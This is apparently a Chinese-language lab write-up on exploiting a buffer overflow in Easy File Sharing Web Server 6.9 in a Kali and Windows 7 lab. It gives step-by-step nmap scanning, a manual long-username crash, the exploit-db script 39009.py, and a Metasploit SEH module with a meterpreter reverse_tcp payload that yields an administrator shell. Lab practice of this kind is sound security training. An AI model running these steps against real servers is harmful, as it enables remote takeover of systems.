Easy File Sharing Web Server 漏洞的简单利用

背景

  • EFS Easy File Sharing (EFS) Web Server是荷兰EFS Software公司的一套集论坛网站,文件上传、下载、共享和图片共享等功能的文件共享软件。
  • EFS EFS Web Server 7.2版本中存在基于栈的缓冲区溢出漏洞。远程攻击者可通过向forum.ghp文件发送恶意的登录请求利用该漏洞执行任意代码。
  • Easy File Sharing Web Server在处理用户请求时存在输入验证漏洞,远程攻击者可能利用此漏洞获取敏感信息。Easy File Sharing Web Server在上传文件时没有正确地过滤某些参数,允许用户通过目录遍历攻击向任意父目录上传文件。
  • 由于Easy File Sharing Web Server 6.9这个程序对输入的用户名长度不进行校验,存在缓冲区溢出漏洞,导致当用户输入太长的用户名导致缓冲区溢出,覆盖程序原本的返回地址,导致程序因跳转到非法地址奔溃或跳转到黑客控制的恶意代码地址进而导致服务器被黑客控制。

复现环境

kali攻击机,win7靶机,两者以nat模式连接在同一主机下

服务程序:Easy File Sharing Web Server 2018

服务端口: 80

漏洞利用过程

1.查看Win7靶机的ip

image-20211104120335419

2.win7靶机安装easy file sharing server

一路默认安装即可,安装成功后点try it

image-20211104121311921

image-20211104121448208

打开后注意服务端口为80端口

3.kali对靶机进行扫描

1
nmap 目标靶机ip地址/24

image-20211104121837135

发现靶机开放80端口

继续使用-sV进一步扫描80端口

1
nmap -sV 目标靶机ip地址 

image-20211104122232948

发现其开放Easy File Sharing Web Server httpd 6.9,这个版本存在缓冲区溢出漏洞

4.漏洞利用

1.利用手动注入使缓冲区溢出

在kali自带浏览器访问靶机ip地址80端口

1
目标靶机ip地址:80   (使用英文符号以及无空格)

image-20211104122803139

进入了 Easy File Sharing Web Server的登入页

该登陆页面username存在溢出漏洞

也就是当我们在Username中输入过长的用户名时,该服务程序会发生缓冲区溢出

经测试当输入5000个字符时,会发生该漏洞

这里我用python生成5000个‘1’

image-20211104123828694

将其复制到username,不用输入密码,点击登录即可

image-20211104123900514

发现网页无响应

打开靶机发现,该程序已崩溃,这是因为输入的字符覆盖了程序原本的返回地址,导致程序转入非法地址崩溃。

如果将这些字符改为攻击脚本,让返回的地址为我们的攻击木马,可以进一步利用漏洞。

image-20211104124107047

2利用kali自带脚本攻击

在靶机上重启服务程序,在kali输入:

1
searchsploit easy file sharing

这一行命令的功能是:在kali自带的漏洞利用脚本库中寻找easy file sharing的漏洞利用脚本

image-20211104124719357

这里使用39009.py,其他攻击脚本同样奏效。

1
Easy File Sharing Web Server 7.2 - HEAD Request Buffer Overflow (SEH)  

这个脚本是专门攻击Easy File Sharing Web Server httpd 7.2 版本的

但是其对Easy File Sharing Web Server httpd 6.9版本同样有效,并且它的执行效果是让服务器弹计算机并崩溃

脚本命令如下:

1
python /usr/share/exploitdb/exploits/windows/remote/39009.py 目标靶机ip地址 80

image-20211104125237585

打开靶机,发现计算器弹出,并且程序崩溃

image-20211104130034704

这个主要是利用溢出漏洞攻击目标并让其服务崩溃和让主机运行计算器,主要是演练了一下渗透的过程。

3利用metasploit进行漏洞利用

在终端输入

1
msfconsole

msf启动完成后输入,找到EasyFileSharing的漏洞利用模块

1
search EasyFileSharing

image-20211104131955240

选择 2015年的这个利用模块,输入:

1
use exploit/windows/http/easyfilesharing_seh

因为目标靶机还没设置,所以msf会报错No payload configured, defaulting to windows/meterpreter/reverse_tcp

接下来进行配置

1
show options

image-20211104132746431

配值目标靶机地址:

1
set RHOSTS 目标靶机的ip地址

image-20211104132946318

然后执行攻击模块输入:

1
exploit

image-20211104133104393

模块执行成功,可以输入自己想输入的命令

image-20211104133225913

也可以查看自己目前的权限

1
2
shell
whoami

发现已经拿到管理员权限

image-20211104133335256